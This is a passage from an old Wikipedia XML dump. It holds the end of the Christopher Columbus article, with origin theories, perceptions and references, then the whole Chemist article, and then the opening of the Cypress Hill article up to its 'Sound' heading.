Other documents found in the [[Alentejo]] region of Portugal suggest he may have been born there. In accordance with this theory, he named the island of Cuba after the Portuguese town [[Cuba, (Portugal)|Cuba in Alentejo]] &amp;mdash; the town where he, according to Portuguese historians, had been born under the name of Salvador Fernandes Zarco (SFZ), son of Fernando, Duke of Beja, and Isabel Sciarra &amp;mdash; and grandson of Cecília Colonna. The Portuguese-origin thesis has him using Colom as a pseudonym. This is based on interpretation of some facts and documents of his life (as above), but mostly on an analysis of his signature under the Jewish [[Kabbalah]], where he described his family and origin (by Macarenhas Barreto: &quot;Fernandus Ensifer Copiae Pacis Juliae illaqueatus Isabella Sciarra Camara Mea Soboles Cubae.&quot;, or &quot;Ferdinand who holds the sword of power of Beja (Pax Julia in Latin), coupled with Isabel Sciarra Camara, are my generation from Cuba&quot;). Since he never signed his name conventionally, the pseudonymus theory is reinforced, his name meaning in Latin &quot;Bearer of [[Christ]]&quot; (Christo ferens) &quot;and of the [[Holy Spirit]]&quot; (Columbus, [[dove]] in Latin), a reference to the [[Order of Christ]] which succeeded the [[Knights Templar (military order)|Templars]] in Portugal and initiated the [[age of exploration]].

Another strong case that supports this thesis is that over forty toponyms in the Caribbean islands are of Portuguese origin.

The corollary of the above is that he was (i) knowingly diverting the Castilian kings from their target &amp;ndash; India and (ii) had all the reasons to hide his identity and origin, as Portugal was the biggest rival of Spain (Castille) in its sea ventures. In sum, he was a &quot;secret agent&quot;.

It is also speculated that Columbus may have come from the island of [[Khios]] (or Chios) in Greece. [http://www.grecoreport.com/christopher_columbus.htm] The evidence supporting this theory includes that Columbus never said he was from Genoa but from the ''Republic of Genoa'' (Khios was under Genoese control at the time, and thus part of the Republic of Genoa), and that he kept his journal in Latin and Greek instead of the Italian of Genoa.  He also referred to himself as &quot;Columbus de Terra Rubra&quot;(Columbus of the Red Earth), Khios was known for its red soil in the south of the island where grow the mastic trees that the Genoese traded. There is also a village named Pirgi in the island of Khios where to this day many of its inhabitants carry the surname &quot;Colombus.&quot;

It has even been suggested that the [[epitaph]] on his tomb, translated as &quot;Let me not be confused forever,&quot; is a veiled hint left by Columbus that his identity was other than he publicly stated during his life. However, the actual phrase, &quot;Non confundar in aeternam&quot; (in Latin), is perhaps more accurately translated &quot;Let me never be confounded,&quot; and is contained in several Psalms.

Historian [[Samuel Eliot Morison]], in his book &quot;Admiral of the Ocean Sea&quot;, claims that existing legal documents demonstrate the Genoese origin of Columbus, his father Domenico, and his brothers Bartolomeo and Giacomo (Diego). On page 14, Morison writes: 

:Besides these documents from which we may glean facts about Christopher's early life, there are others which identify the Discoverer as the son of Domenico the wool weaver, beyond the possibility of doubt. For instance, Domenico had a brother Antonio, like him a respectable member of the lower middle class in Genoa. Antonio had three sons: Matteo, Amigeto and Giovanni, who was generally known as Giannetto, the Genoese equivalent of &quot;Johnny.&quot; Johnny like Christopher gave up a humdrum occupation to follow the sea. In 1496 the three brothers met in a notary's office at Genoa and agreed that Johnny should go to Spain and seek out his first cousin &quot;Don Cristoforo de Colombo, Admiral of the King of Spain,&quot; each contributing one third of the traveling expenses. This quest for a job was highly successful. The Admiral gave Johnny command of a caravel on the Third Voyage to America, and entrusted him with confidential matters as well.

It is certain that Columbus taught himself to read and write after arriving in Portugal, learned cutting-edge navigational and trading skills from the Portuguese, was commissioned by Castile, received financial backing from Genoese bankers, and was informed, in his own words, by &quot;wise people, ecclesiastics and laymen, Latins and Greeks, Jews and Moors and with many others of other sects.&quot; He was, in other words, a man of the Mediterranean.

===Columbus' language===
Although Genoese documents have been found about a weaver named Colombo, it has also been noted that, in the preserved documents, Columbus wrote almost exclusively in [[Spanish]], and that he used the language, with Portuguese phonetics, even when writing personal notes to himself, to his brother, Italian friends, and to the Bank of Genoa.

There is a small handwritten Genoese gloss in an Italian edition of the ''[[History of Plinius]]'' that he read in his second voyage to America. However, it displays both Spanish and Portuguese influences. Genoese Italian was not a written language in the 15th century, but one would expect a better transliteration into this dialect from a native speaker. However, many people become &quot;tongue-tied&quot; when using what is, to them, an intimate childhood language. There is also a note in non-Genoese Italian in his own ''[[Book of Prophecies]]'' exhibiting, according to historian August Kling, &quot;characteristics of northern Italian [[humanism]] in its calligraphy, syntax, and spelling.&quot; Columbus took great care and pride in writing this form of Italian.

Phillips and Phillips point out that five hundred years ago, the Latinate languages had not distanced themselves to the degree they have today. [[Bartolomé de las Casas]] in his ''[[Historia de las Indias]]'' claimed that Columbus did not know Spanish well and that he was not born in Castile. In his letters he refers to himself frequently, if cryptically, as a &quot;foreigner.&quot; [[Ramón Menéndez Pidal]] studied the language of Columbus in 1942, suggesting that while still in Genoa, Columbus learned notions of Portugalized Spanish from travelers, who used a sort of commercial Latin or [[lingua franca]] (''latín ginobisco'' for Spaniards). He suggests that Columbus learned Spanish in Portugal through its use in Portugal as or &quot;adopted language of culture&quot; from 1450. This same Spanish is used by poets like [[Fernán Silveira]] and [[Joan Manuel]]. The first testimony of his use of Spanish is from the 1480s. Menendez Pidal and many others detect a lot of Portuguese in his Spanish, where he mixes, for example, ''falar'' and ''hablar''. But Menendez Pidal does not accept the hypothesis of a Galician origin for Columbus by noting that where Portuguese and Galician diverged, Columbus always used the Portuguese form.

Latin, on the other hand, was the language of scholarship, and here Columbus excelled.  He also kept his journal in Latin, and a &quot;secret&quot; journal in Greek.

According to historian [[Charles Merrill]], analysis of his handwriting indicates that it is typical of someone who was a native Catalan, and Columbus' phonetic mistakes in Spanish are &quot;most likely&quot; those of a Catalan. Also, that he married a Portuguese noblewoman is presented as evidence that his origin was of nobility rather than the Italian merchant class, since it was unheard of during his time for nobility to marry outside their class. This same theory suggests he was the illegitimate son of a prominent Catalan sea-faring family, which had served as mercenaries in a sea battle against Castilian forces. Fighting against Ferdinand and being illegitimate were two excellent reasons for keeping his origins obscure. Furthermore, the disinterment of his brother's body shows him to be a different age, by nearly a decade, than the &quot;Bartolome Colombo&quot; of the Genoese family.

After 15 years of research, Manuel Rosa accepts the theory that ''Cristóbal Colón'' was the spy name of a Portuguese secret agent sent to Spain to mislead the Spanish away from the real India. This is why he knew Portuguese so well and why the navigator changed his name only when entering Spain in 1484. Cristóbal Colón was called ''our special friend in Seville'' by Portugal's King John II in 1488 and Colon continously lied to the Spanish. His lies benefited only the kingdom of Portugal and helped protect the way for Vasco da Gama to reach the real India. This explains why he headed for Lisbon on the return from the first voyage and had a meeting with the King of Portugal, why he knew Portuguese so well, why he kept in constant contact with Portuguese territory as well as why he was involved in the debriefing in Lisbon of the secret discovery of the Cape of Good Hope by Bartolomeu Dias.

In a little accepted, but not overly unknown theory expanding upon the &quot;Chios theory&quot; of Columbus' origin, he was the son of a Genoese noble family in Greece—which accounts for his penchant for the Greek language—who migrated at an early age to Castillo &amp; Leon near a large Portuguese city, where he adopted Latin, Portuguese, and Spanish (Castellano) for their potential uses in his journey. As such, this theory explains how he was an accomplished linguist and how his theories and plans could have been conceived much ahead of time than what is normally accepted.

== Perceptions of Columbus ==
Christopher Columbus has had a cultural significance beyond his actual achievements and actions as an individual; he also became a symbol, a figure of legend. The mythology of Columbus has cast him as an archetype for both good and for evil.

The casting of Columbus as a figure of &quot;good&quot; or of &quot;evil&quot; often depends on people's perspectives as to whether the arrival of Europeans to the New World and the introduction of [[Christianity]] (particularly the [[Catholicism|Catholic]] faith) is seen as positive or negative.

In addition, the nascent countries of the New World, particularly the newly independent [[USA]], seemed to need a historical narrative to give them roots.  This narrative was supplied in part by [[Washington Irving]] in 1828 with ''The life and voyages of Christopher Columbus'', which may be the true source of much of the modern mythology about the explorer.

Columbus' struggles to civilize the Americas, and the subsequent effects on the native peoples, were dramatised in [[1492: Conquest of Paradise]] to commemorate the 500th anniversary of his landing in the Americas.

=== Columbus as hero ===
[[image:Tomb-of-columbus.jpg|right|thumb|Columbus' tomb in the cathedral of Seville. It is borne by four statues of kings representing the Kingdoms of [[Castile]], [[Leon]], [[Aragon]], and [[Navarre]].]]

Traditionally, Columbus is viewed as a man of heroic stature by the European-descended population of the New World. He has often been hailed as a man of heroism and bravery, and also of faith: he sailed westward into mostly unknown waters, and his unique scheme is often viewed as ingenious.  He &quot;set an example for us all by showing what monumental feats can be accomplished through perseverance and faith&quot; ([[George H. W. Bush]], [[June 8]], [[1989]]).

Hero worship of Columbus perhaps reached a zenith around 1892, the 400th anniversary of his first arrival in the [[Americas]]. Monuments to Columbus (including the [[World's Columbian Exposition|Columbian Exposition]] in Chicago) were erected throughout the [[United States]] and [[Latin America]], extolling him as a hero. The [[Knights of Columbus]], a Catholic men's fraternal benefit society, had been chartered ten years earlier by the State of [[Connecticut]]. The story that Columbus thought the world was round while his contemporaries believed in a flat earth was often repeated. This tale was used to show that Columbus was enlightened and forward looking. Columbus' apparent defiance of convention in sailing west to get to the far east was hailed as a model of &quot;American&quot;-style can-do inventiveness.

In the United States, the admiration of Columbus was particularly embraced by some members of the Italian American, Hispanic, and Catholic communities. These groups point to Columbus as one of their own to show that Mediterranean Catholics could and did make great contributions to the USA. The modern vilification of Columbus is seen by his supporters and by many scholars as being politically motivated and non-historical.

=== Columbus as villain ===
Criticism focuses on the continuing positive Columbus myths and celebrations (such as Columbus Day) and their effects on American thought towards present-day [[Indigenous Peoples of the Americas|Native Americans]]. Official celebrations of the 500th [[anniversary]] of Columbus' first voyage in 1492 were muted, and demonstrators protested marking the anniversary at all. It was in this spirit that Venezuelan President [[Hugo Chávez]] signed, in October, 2002, a decree changing the name of Venezuela's &quot;Columbus Day&quot; to &quot;The Day of Indigenous Resistance&quot; in honor of the nation's indigenous groups. On [[October 12]] [[2004]], supporters of Chávez destroyed a 100-year old statue of Columbus in [[Caracas]]. They did this because they found Columbus guilty of 'imperialist [[genocide]]'.  (''For more, see [[Columbus Day]]''.) The genocide and atrocious acts committed by the Spanish against the natives (the Tainos in particular) are well documented in terrifying detail by [[Bartolomé de Las Casas]] in his letters and book ''[[A Short Account of the Destruction of the Indies]].'' See [[Genocides in history#The Americas|Native American Genocide]] for more details.

The view of Columbus as a villain received mass exposure in the United States when an episode of the TV show &quot;[[The Sopranos]]&quot; included a shot of ''[[A People's History of the United States]]'' by [[Howard Zinn]] and demonstrated a common reaction to [[critical pedagogy]] in U.S. classrooms.

Columbus is also viewed as a villain for transporting Native Americans to Europe for sale as slaves. There is no evidence of any previous trans-Atlantic voyages that transported slaves for sale. Thus, he was the first known European to transport slaves eastward across the Atlantic, and so is seen by some as the founder of the [[Atlantic slave trade]] in which millions of Africans were transported westward across the Atlantic for sale as slaves in the atrocity of the [[Middle Passage]].

===Physical appearance===
[[Image:Hw-columbus.jpg|thumb|165px|No authentic contemporary portrait of Columbus has been found; this late 19th-century engraving is one of many conjectural images]]

[[Image:CristobalColon.jpg|left|thumb|155px|Christopher Columbus (conjectural image by [[Sebastiano del Piombo]]).]]

Nobody has ever found an authentic contemporary portrait of Christopher Columbus. Over the years historians have presented many images that reconstruct his appearance from written descriptions. They depict him variously with long or short hair, heavy or thin, bearded or cleanshaven, stern or at ease. The image at the beginning of this article and the image to the left both date from close to Columbus' time, but historians do not know whether the artists painted them from personal knowledge of his appearance. 

Despite the uncertainty, textbooks in the United States have used the image on the left so often that it has become the face of Columbus in popular culture.  The image on the right is yet another idea. However, it is widely accepted that this image actually represents [[Paolo dal Pozzo Toscanelli]] (1397-10 May,1482).

==See also==
* [[1421 hypothesis]]
* [[1492: Conquest of Paradise]]
* [[Egg of Columbus]]
* [[Exploration]]
* [[Explorers]]
* [[Genocide]]
* [[Guanahani]] (a discussion of candidates for site of first landing)
* [[Knights of Columbus]]
* [[Indian slavery]]
* [[List of places named for Christopher Columbus]]
* [[Paolo dal Pozzo Toscanelli]]
* [[Spanish colonization of the Americas]]

==External links==
{{wikiquote}}
{{Commons|Christophorus Columbus|Christopher Columbus}}
* A reconstructed [http://www.reportret.info/gallery/columbus1.html portrait of Christopher Columbus], based on historical sources, in a contemporary style.
* {{gutenberg author| id=Christopher+Columbus+(1451-1506) | name=Christopher Columbus}}
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=5764  Find-A-Grave profile for Christopher Columbus]
* [http://www.cristobal-colon.net/aCh00.htm L'Amiral de la Mer Océane] a French on-line encyclopedia about Columbus, in French language, based on various sources and books.
*[http://www.phy6.org/stargaze/Scolumb.htm The Round Earth and Christopher Columbus&quot;] &amp;nbsp; (educational site, includes lesson plan)

==References==
* [http://www.unmaskingcolumbus.com/default.htm Unmasking Columbus: Lies, Spies, Cover-up &amp; Conspiracy]. New Research by Iberian historian Manuel Rosa is casting doubt on the whole Columbus story.
* [http://www.everything2.com/index.pl?node_id=523794 Full text] of Columbus' log of his first voyage.
* [http://www.fordham.edu/halsall/source/columbus1.html Extracts from Columbus' journal]
* [[Jack Forbes]], ''Columbus and Other Cannibals'', Autonomedia, 1992.
* [http://www.unmaskingcolumbus.com/unmasking_columbus/Christopher_Columbus_intro.htm The False History of Columbus]. New Research by Iberian historian Manuel Rosa proves the Columbus &quot;Last Will&quot; is false.
* [[Samuel Eliot Morison]], ''[[Admiral of the Ocean Sea: A Life of Christopher Columbus]]'', Little, Brown and Company, 1991, trade paperback, 680 pages, ISBN 0316584789 (9 other editions available both in hardback and paperback). A biography sympathetic to Columbus, though not blind to violent acts by Columbus and his crew
* [[Brian Fagan]]: ''Clash of the Cultures'', AltaMira Press 1997. Presents a less-favorable view.
* [[Felipe Fernandez-Armesto|Felipe Fernández-Armesto]]: ''[[Columbus (book)|Columbus]]'', Oxford University Press 1991. Scholarly work, careful to support all statements with sources.
* [[Sherburn Cook]] and [[Woodrow Borah]]: ''Essays in Population History Volume I'', University of California Press, 1971
* [[John Noble Wilford]] and [[Ashbel Green]], ''The mysterious history of Columbus :an exploration of the man, the myth, the legacy'', Knopf, 1991, hardcover: ISBN 0679404767, trade paperback: ISBN 0679738320. John Noble Green''(?)'' is a science editor at the New York Times.
* [[J.M. Cohen]]: &quot;The Four Voyages of Christopher Columbus: Being His Own Log-Book, Letters and Dispatches With Connecting Narrative Drawn from the Life of the Admiral by His Son Hernando Colon and Others&quot;, Penguin Classics, 1992.
* [[Michael H. Hart]], ''[[The 100]]'', Carol Publishing Group, July 1992, paperback, 576 pages, ISBN 0806513500
*James Loewen. &quot;Lies My Teacher Told Me: Everything Your American History Textbook Got Wrong&quot;. New Press, 1995.
* Crosby, Alfred W. ''The Columbian Voyages. the Columbian Exchange, and Their Historians.'' Washington, DC: American Historical Association, 1987. ED 303 417.
* A Finger in the Wound : Body Politics in Quincentennial Guatemala, ISBN 0520212843
* Turner, Jack. &quot;Spice - The History of a Temptation&quot;, Random House, 2004 ISBN 0-375-40721-9.
* [http://www1.minn.net/~keithp/ Keith Pickering's Columbus Navigation Page]
* [http://cuba.no.sapo.pt/paginas/cuba-informa/cristovao-colom.htm The Cuba, Portugal Reference, by Mascarenhas Barreto]
* Mascarenhas Barreto, &quot;The Portuguese Columbus: Secret Agent of King John II&quot;, 1992, ISBN 0312079486
* [http://www.dightonrock.com/enigmacolombo.htm The enigma of Columbus (in Portuguese)] and American Edition.[http://www.dightonrock.com/columbus_was_100_portuguese.htm]
* [http://www.colaco.net/3/colon.htm Cabalistic discussion of CC signature]
* Urvoy, Jean-Michel, [http://www.cristobal-colon.net/Colon/C05p10.htm &quot;Où est enterré Christophe Colomb ?&quot;] (Trans. Where is buried Christopher Columbus) p.20-21 in l'Histoire, [http://www.cristobal-colon.net/Colon/C05p11.htm N°286, avril 2004, Paris, France]

[[Category:1451 births|Columbus]]
[[Category:1506 deaths|Columbus]]
[[Category:Italian explorers|Columbus]]
[[Category:Natives of Genoa|Columbus]]
[[Category:Roman Catholics|Columbus]]
[[Category:Explorers of Central America|Columbus]]
[[Category:Age of Discovery]]

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[[af:Christopher Columbus]]
[[ar:كريستوفر كولومبوس]]
[[ast:Cristóbal Colón]]
[[bg:Христофор Колумб]]
[[bn:ক্রিস্টোফার কলম্বাস]]
[[bs:Kristofor Kolumbo]]
[[ca:Cristòfor Colom]]
[[cs:Kryštof Kolumbus]]
[[cy:Christopher Columbus]]
[[da:Christoffer Columbus]]
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[[eo:Kristoforo KOLUMBO]]
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[[fa:کریستف کلمب]]
[[fr:Christophe Colomb]]
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[[ko:크리스토퍼 콜럼버스]]
[[hr:Kristofor Kolumbo]]
[[io:Kristoforo Kolumbo]]
[[id:Christopher Columbus]]
[[it:Cristoforo Colombo]]
[[he:כריסטופר קולומבוס]]
[[la:Christophorus Columbus]]
[[lv:Kristofors Kolumbs]]
[[lt:Kristupas Kolumbas]]
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[[pt:Cristóvão Colombo]]
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[[sco:Christopher Columbus]]
[[scn:Cristòfuru Culommu]]
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[[fi:Kristoffer Kolumbus]]
[[sv:Christofer Columbus]]
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[[ta:கொலம்பஸ்]]
[[th:คริสตอเฟอร์ โคลัมบัส]]
[[tr:Kristof Kolomb]]
[[uk:Колумб Христофор]]
[[zh:克里斯托弗·哥]]</text>
    </revision>
  </page>
  <page>
    <title>Chemist</title>
    <id>5636</id>
    <revision>
      <id>38017219</id>
      <timestamp>2006-02-03T16:58:36Z</timestamp>
      <contributor>
        <username>Lkinkade</username>
        <id>155237</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">[[Image:Julie Perkins at LLNL.jpg|right|frame|Chemist Julie Perkins of Lawrence Livermore National Laboratory pours from a [[Florence flask]].]]

A '''chemist''' is a [[scientist]] trained in the [[science]] of [[chemistry]]. Chemists study the composition of matter and its small-scale properties such as [[density]] and [[acidity]] instead of large-scale properties like size and shape. Chemists carefully describe the properties they study in terms of quantities, with detail on the level of [[molecules]] and their component [[atom]]s. Chemists carefully measure substance proportions, [[Chemical reaction|reaction]] rates, and other [[chemical properties]]. Chemists use this knowledge to learn the composition, structure, and properties of unfamiliar substances, as well as to reproduce and synthesize large quantities of useful naturally occurring substances and create new artificial substances and useful processes. Chemists may specialize in any number of [[Chemistry#Subdisciplines of chemistry|subdisciplines of chemistry]]. [[Materials science|Materials scientists]] share much of the same education and skills with chemists.

In [[Commonwealth English]], '''''chemist''''' may also refer to a [[dispensing chemist]], a [[pharmacist]], or a general retailer of chemicals (usually for medicinal purposes).

==Education==
Jobs for chemists usually require at least a [[bachelor's degree]], but many positions, especially those in research, require a [[PhD]].  Most undergraduate programs emphasize [[mathematics]] and [[physics]] as well as chemistry.  At the [[Master's degree|Master's]] level and higher, students tend to specialize in a particular field.  Fields of specialization include [[biochemistry]], [[organic chemistry]], [[inorganic chemistry]], [[analytical chemistry]], and [[physical chemistry]].  Post-doctorate experience may be required for certain positions.

==Employment==
The three major employers of chemists are academic institutions, industry, especially the [[chemical industry]] and the [[pharmaceutical industry]], and government laboratories.

Chemistry typically is divided into several major sub-disciplines. There are also several main cross-disciplinary and more specialized fields of chemistry.  There is a great deal of overlap between different branches of chemistry, as well as with other scientific fields such as biology, medicine, physics, and several engineering disciplines.

*[[Analytical chemistry]] is the [[analysis]] of material samples to gain an understanding of their [[chemical composition]] and [[structure]]. Analytical chemistry incorporates standardized experimental methods in chemistry. These methods may be used in all subdisciplines of chemistry, excluding purely theoretical chemistry.

*[[Biochemistry]] is the study of the [[chemical compound|chemicals]], [[chemical reaction]]s and chemical [[interaction]]s that take place in living [[organism]]s. Biochemistry and organic chemistry are closely related f.e. in [[medicinal chemistry]]. 

[[Image:Laura Miller at ANL.jpg|right|frame|Chemist Laura Miller of Argonne National Laboratory prepares a new [[fuel cell]] for testing.]]

*[[Inorganic chemistry]] is the study of the properties and reactions of inorganic compounds. The distinction between organic and inorganic disciplines is not absolute and there is much overlap, most importantly in the sub-discipline of [[organometallic chemistry]].

*[[Organic chemistry]] is the study of the structure, properties, composition, mechanisms, and [[chemical reaction|reactions]] of [[organic compound]]s. 

*[[Physical chemistry]] is the study of the physical basis of chemical systems and processes.  In particular, the energetics and dynamics  of such systems and processes are of interest to physical chemists.  Important areas of study include [[chemical thermodynamics]], [[chemical kinetics]], [[electrochemistry]], [[statistical mechanics]], and [[spectroscopy]].  Physical chemistry has large overlap with [[molecular physics]]. Physical chemistry involves the use of [[calculus]] in deriving equations.

*[[Theoretical chemistry]] is the study of chemistry via theoretical reasoning (usually within [[mathematics]] or [[physics]]).  In particular the application of [[quantum mechanics]] to chemistry is called [[quantum chemistry]].  Since the end of the second world war, the development of computers has allowed a systematic development of [[computational chemistry]], which is the art of developing and applying [[computer program]]s for solving chemical problems.  Theoretical chemistry has large overlap with [[molecular physics]].

{{BranchesofChemistry}}

All the above major areas of chemistry need chemists. Other fields requiring chemists are [[Astrochemistry]], [[Atmospheric chemistry]], [[Chemical Engineering]], [[Chemo-informatics]], [[Electrochemistry]], [[Geochemistry]], [[Green chemistry]], [[History of chemistry]], [[Materials science]], [[Molecular Biology]], [[Molecular genetics]], [[Nuclear chemistry]], [[Organometallic chemistry]], [[Petrochemistry]], [[Pharmacology]], [[Photochemistry]], [[Phytochemistry]], [[Polymer chemistry]], [[Supramolecular chemistry]], [[Surface chemistry]] and [[nanotechnology]].

==History==
:''Main article: [[History of chemistry]]''

The word ''chemist'' is a [[Corruption (linguistics)|corruption]] of the [[New Latin]] [[noun]] ''chimista'', an [[abbreviation]] of ''alchimista'' ([[Alchemy|alchemist]]).

The roots of chemistry can be traced to the phenomenon of [[combustion|burning]]. [[Fire]] was a mystical force that transformed one substance into another and thus was of primary interest to mankind. It was fire that led to the discovery of [[iron]] and [[glass]]. After [[gold]] was discovered and became a precious metal, many people were interested to find a method that could convert other substances into gold. This led to the [[protoscience]] called [[Alchemy]]. Alchemists discovered many chemical [[processes]] that led to the development of modern chemistry. Chemistry as we know it today, was invented by [[Antoine Lavoisier]] with his law of [[Conservation of mass]] in 1783. The [[discoveries of the chemical elements]] has a long history culminating in the creation of the [[periodic table]] by [[Dmitri Mendeleyev]]. The [[Nobel Prize in Chemistry]] created in 1901 gives an excellent overview of chemical discovery in the past 100 years.

==See also==
{{wikibookspar|Wikiversity|School of Chemistry}}

*[[List of chemistry topics]]
*[[List of chemists]]
*[[List of publications in chemistry]]
*[[List of scientific journals in chemistry]]
*[[:Category:Chemistry societies|List of Chemistry Societies]]

==References==
*[http://www.chemistry.org/ American Chemical Society] website
*[http://www.cas.org/ Chemical Abstracts Service] indexes and abstracts the world's chemistry-related literature and patents
*[http://www.bls.gov/oco/ocos049.htm Chemists and Materials Scientists] from the U.S. Department of Labor's ''Occupational Outlook Handbook''
*[http://www.rsc.org/ Royal Society of Chemistry] website
*[http://www.liv.ac.uk/Chemistry/Links/refhistory.html History of Chemistry] links for chemists
*[http://pubs.acs.org/journals/luminaries/ Luminaries of the Chemical Sciences] accomplishments, biography, and publications from 44 of the most influential chemists
*[http://jobs.strategy-blogs.com/Chemists-and-Materials-Scientists.html Occupational Analysis for Chemists]
*[http://web.lemoyne.edu/~giunta/papers.html Selected Classic Papers from the History of Chemistry]

[[Category:Chemists|*]]

[[bg:&amp;#1061;&amp;#1080;&amp;#1084;&amp;#1080;&amp;#1082;]]
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[[ja:&amp;#21270;&amp;#23398;&amp;#32773;]]
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[[simple:Chemist]]</text>
    </revision>
  </page>
  <page>
    <title>Cypress Hill</title>
    <id>5637</id>
    <revision>
      <id>41396981</id>
      <timestamp>2006-02-27T01:32:58Z</timestamp>
      <contributor>
        <username>La Pizza11</username>
        <id>381379</id>
      </contributor>
      <comment>/* Discography */</comment>
      <text xml:space="preserve">'''Cypress Hill''' is a [[latin rap|latin]]-[[american hip hop|american]] [[hip hop]] group from [[Los Angeles]]. It was founded in 1988 and has sold up to 17 million records worldwide by 2006.

The group consists of [[DJ Muggs]] (Lawrence Muggerud, DJ and producer, (*28. January 1968), [[B-Real]] (Louis Freese, Rapper, (*2. June 1970), [[Sen Dog]] (Senen Reyes, Rapper, *20. November 1965) and [[Bobo]] (Eric Correa, Percussionist (*27. August 1968, became a member in 1994). One aspect their [[popularity]] is their commitment to the [[legalisation]] of [[Cannabis]] consumption.

==Name of the band==
The name Cypress Hill refers to the place where the first members of the band have lived, who grew up mostly in [[Cypress Avenue]] in [[South Gate, California|South Gate]], [[Los Angeles]].

==Early career==

Their first [[album (music)|album]], which was self-titled, was released in [[November]] 1991. Its single was &quot;Phuncky Feel One,&quot; but it was the B-side &quot;How I Could Just Kill a Man&quot; (formerly &quot;Trigga Happy Nigga&quot;) that attracted more airplay on urban radio and [[college radio]]. Based on the success of the single and other tracks such as bilingual track &quot;Latin Lingo&quot; and [[X-rated]] [[Spanish language|Spanish]] track &quot;Tres equis&quot;, the album sold two million copies. Subsequently, DJ Muggs produced [[House of Pain]]'s first album, then working with the [[Beastie Boys]] and [[Funkdoobiest]]. The band made their first appearance at [[Lollapalooza]] on the side stage in [[1992]].

''[[Black Sunday (album)|Black Sunday]]'', the group's second album, [[debut album|debut]]ed at number one on the [[Billboard 200]] in [[1993]], recording the highest [[Soundscan]] for a rap group up until that time. With &quot;Insane in the Brain&quot; becoming a crossover hit, the album went double platinum in the [[United States|U.S.]] and sold 3.25 million albums.

As one of the first rappers fighting for the legalization of [[marijuana]], Cypress Hill was banned from [[Saturday Night Live]] after Muggs smoked a [[joint]] of marijuana and the band trashed their instruments while playing their second single &quot;I Ain't Goin' Out Like That&quot;. The band headlined the &quot;Soul Assassins&quot; tour with [[House of Pain]] and [[Funkdoobiest]] as support, then performed on a college tour with [[Rage Against the Machine]] and [[Seven Year Bitch]]. In 1993, Cypress Hill also had two tracks on the ''[[Judgment Night (movie)|Judgment Night]]'' soundtrack, teamed up with [[Pearl Jam]] and [[Sonic Youth]].

The band played at the [[1994]] [[Woodstock Festival]] introducing their new member Eric Bobo who was formerly a percussionist with the Beastie Boys. Bobo is the son of famous [[salsa (music)|salsa]] musician [[Willie Bobo]]. Muggs, when asked about the new member, said: &quot;As Latinos we thought it would be a good idea to build in some of this [[latin jazz]] flavor.&quot; [[Rolling Stone]] Magazine named the band as the best rap group in their music awards voted by critics and readers. Cypress Hill played at Lollapalooza for two successive years topping the bill in [[1995]]. They appeared on an episode of &quot;[[The Simpsons]]&quot; in which [[Homer Simpson|Homer]] becomes a performer at a freak show appearing on a tour similar to Lollapalooza.

Their third album ''III (Temples of Boom)'' was released in 1995 selling 1.5 million copies and reaching number 3 on the Billboard 200 despite not having a hit single. Cypress Hill also contributed a track &quot;I Wanna Get High&quot; to the [[High Times]] sponsored &quot;[[Hempilation]]&quot; album to support [[NORML]].

==Continued career==

Sen took a break from the band to form punk-rap band [[SX-10]]. Meanwhile in 1996, Cypress Hill appeared on the first [[Smokin' Grooves]] tour, featuring [[Ziggy Marley]], [[the Fugees]], [[Busta Rhymes]] and [[A Tribe Called Quest]].  The band also released a nine track EP ''[[Unreleased and Revamped]]'' with rare mixes.

In [[1997]], band members focused on their solo careers. Muggs released ''[[Muggs Presents ... the Soul Assassins]]'' featuring contributions from [[Wu-Tang Clan]] members, [[Dr. Dre]], [[KRS-One]], [[Wyclef Jean]] and [[Mobb Deep]]. B-Real appeared with Busta Rhymes, [[Coolio]], [[L.L. Cool J]] and [[Method Man]] on &quot;Hit Em High&quot; from the multi-platinum ''[[Space Jam]] Soundtrack.'' He also appeared with RBX, [[Nas (rapper)|Nas]] and KRS-One on &quot;East Coast Killer, West Coast Killer&quot; on Dr. Dre's ''[[Dr. Dre presents...The Aftermath]]'' album, and released an album entitled &quot;[[The Psycho Realm]]&quot; from his side project of the same name. Through the focus that year was not on Cypress Hill, the band played Smokin' Grooves with [[George Clinton (funk musician)|George Clinton]] and [[Erykah Badu]].He also was part of a rap metal band with one of the guitarists from Fear Factory called &quot;Kush&quot; 

Cypress Hill released ''IV'' in [[1998]] which went gold in the U.S. on the backs of hit single &quot;Tequila Sunrise&quot; and another tribute to smoking marijuana &quot;Dr. Greenthumb.&quot; Sen Dog also released the ''Get Wood'' sampler as part of SX-10 on Jordan Schur's Flip label. 

In [[1999]], Cypress Hill helped with the [[Personal computer|PC]] crime/very mature video game ''Kingpin: Life Of Crime''. 3 of their songs from the [[1998]] ''IV'' album were in the game. B-Real also did some of the voices of the people in the game. 

Also in [[1999]], the band released a greatest-hits album in Spanish, ''[[Los grandes éxitos en español]]''. Cypress Hill then fused genres with their two-[[compact disc|disc]] release, ''Skull &amp; Bones'', in [[2000]]. The first disc, &quot;Skull&quot; was comprised of rap tracks while &quot;Bones&quot; explored further the group's forays into [[rock (music)|rock]]. The album reached the Top 5 on the [[Billboard magazine|Billboard]] 200 and number 3 in [[Canada]]. The first single was &quot;Rock Superstar&quot; for rock radio and &quot;Rap Superstar&quot; for urban radio. The band also released a ''Live at [[the Fillmore]]'' disc in 2000.

Cypress Hill continued their experimentation with rock on ''The Stoned Raiders'' album on [[2001]]. However, its sales were a disappointment, as the disc did not even reach the top 50 of the U.S. album charts. 

Cypress Hill recorded &quot;Just Another Victim&quot; for the [[WWE]] as a theme song for Taz. At the time, the [[WWE]] was using original music for almost all of the wrestlers, so this was an unusual step for the company to take, but it remains one of the more memorable songs to emerge from the wrestling organization.

The band released ''Till Death Do Us Part'' on [[March 23]], [[2004]]. The album saw the band experiment with [[reggae]] especially on the lead single &quot;What's Your Number&quot;. The track features [[Tim Armstrong]] of [[Rancid]] on bass and [[Rob Aston]] of [[The Transplants]] on backup vocals. It is based on the classic song &quot;Guns of Brixton&quot; on [[The Clash]]'s ''[[London Calling]]'' and has proven to be a success on the modern rock charts. However, people who expected the original Cypress Hill-Flow from the first four albums got disappointed. The album also features appearances by [[Damian Marley]], son of [[Bob Marley]], Prodigy and Twin of [[Mobb Deep]] and producer [[the Alchemist]].

==Sound==

